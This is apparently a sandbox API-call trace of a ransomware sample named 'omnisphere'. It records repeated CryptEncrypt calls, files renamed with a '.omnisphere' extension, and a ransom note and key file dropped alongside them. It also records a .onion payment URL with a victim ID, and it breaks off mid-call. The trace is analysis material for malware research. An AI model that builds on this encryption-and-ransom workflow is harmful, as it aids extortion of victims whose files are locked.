1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.062] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.063] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.063] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0127.063] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x60f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.063] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.064] GetProcessHeap () returned 0x1600000 [0127.064] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x16ed8b8 [0127.064] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\s1tmjcaoyecfkdg8.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\s1tmjcaoyecfkdg8.lnk.omnisphere")) returned 1 [0127.064] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk.omnisphere.id" [0127.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\s1tmjcaoyecfkdg8.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.065] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.066] CloseHandle (hObject=0x3c0) returned 1 [0127.066] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.066] CloseHandle (hObject=0x288) returned 1 [0127.066] SetEndOfFile (hFile=0x28c) returned 1 [0127.066] FlushFileBuffers (hFile=0x28c) returned 1 [0127.069] CloseHandle (hObject=0x28c) returned 1 [0127.069] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\s1tMJCAoYeCFkDG8.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.069] GetProcessHeap () returned 0x1600000 [0127.069] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.069] GetProcessHeap () returned 0x1600000 [0127.069] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5d20 [0127.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5d20, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.069] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.069] GetProcessHeap () returned 0x1600000 [0127.069] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8448 [0127.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8448, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.070] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.070] GetProcessHeap () returned 0x1600000 [0127.070] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9618 [0127.070] PathCombineW (in: pszDest=0x16d9618, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.070] GetProcessHeap () returned 0x1600000 [0127.070] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e43d8 [0127.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.070] WriteFile (in: hFile=0x28c, lpBuffer=0x16e43d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e43d8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.070] CloseHandle (hObject=0x28c) returned 1 [0127.070] GetProcessHeap () returned 0x1600000 [0127.070] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.070] GetProcessHeap () returned 0x1600000 [0127.070] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.071] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.071] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.071] CloseHandle (hObject=0x28c) returned 1 [0127.071] GetProcessHeap () returned 0x1600000 [0127.071] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.071] GetProcessHeap () returned 0x1600000 [0127.071] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d94a8 | out: hHeap=0x1600000) returned 1 [0127.071] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f5f5b2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21f5f5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21f5f5b2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x483, dwReserved0=0x0, dwReserved1=0xd3, cFileName="SZGBZopZnihyK4aAT.lnk", cAlternateFileName="SZGBZO~1.LNK")) returned 1 [0127.071] GetProcessHeap () returned 0x1600000 [0127.071] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16d94a8 [0127.071] PathCombineW (in: pszDest=0x16d94a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="SZGBZopZnihyK4aAT.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk" [0127.071] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SZGBZopZnihyK4aAT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\szgbzopznihyk4aat.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.072] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1155) returned 1 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.072] GetTickCount () returned 0x115fb54 [0127.073] GetTickCount () returned 0x115fb54 [0127.073] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ce0) returned 1 [0127.073] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.073] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, 